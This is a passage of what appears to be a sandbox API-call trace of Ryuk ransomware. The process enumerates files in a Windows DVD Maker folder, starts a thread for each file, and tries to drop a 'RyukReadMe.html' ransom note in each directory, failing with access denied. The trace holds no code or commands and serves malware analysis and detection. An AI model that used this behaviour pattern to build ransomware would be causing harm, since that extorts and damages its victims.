	[0170.299] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x40, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1
	[0170.299] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x40, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1
	[0170.299] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x40, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1
	[0170.299] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0170.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f8
	[0170.302] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.303] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x40, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1
	[0170.303] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0170.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9fc
	[0170.305] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.306] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x40, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1
	[0170.306] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0170.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970
	[0170.308] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.308] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1
	[0170.308] SetLastError (dwErrCode=0x0) 
	[0170.308] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.309] GetLastError () returned 0x5
	[0170.309] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0170.309] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x54, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0170.313] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x54, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0170.314] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x54, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1
	[0170.314] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0170.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c
	[0170.316] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.317] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x54, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1
	[0170.317] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0170.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4
	[0170.319] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.319] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x54, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1
	[0170.319] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0170.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0
	[0170.748] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.748] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x54, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1
	[0170.749] SetLastError (dwErrCode=0x0) 
	[0170.749] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.095] GetLastError () returned 0x5
	[0171.095] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0171.095] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0171.383] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.559] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x62, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1
	[0171.559] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ac
	[0171.562] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.563] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x62, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0171.563] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.564] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8
	[0171.565] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.566] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x62, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1
	[0171.566] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.567] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b0
	[0171.569] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.570] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x62, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1
	[0171.570] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8
	[0171.572] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.573] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x62, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0171.573] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.573] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4
	[0171.576] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.576] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x62, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1
	[0171.576] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994
	[0171.579] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.580] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1
	[0171.580] SetLastError (dwErrCode=0x0) 
	[0171.580] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.582] GetLastError () returned 0x5
	[0171.582] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0171.582] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.582] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0171.659] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.659] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x76, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1
	[0171.659] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e8
	[0171.661] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.662] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1
	[0171.662] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e4
	[0171.665] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.665] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0171.665] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e0
	[0171.668] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.668] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1
	[0171.668] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ec
	[0171.671] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.672] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0171.672] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9dc
	[0171.675] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.676] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1
	[0171.676] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
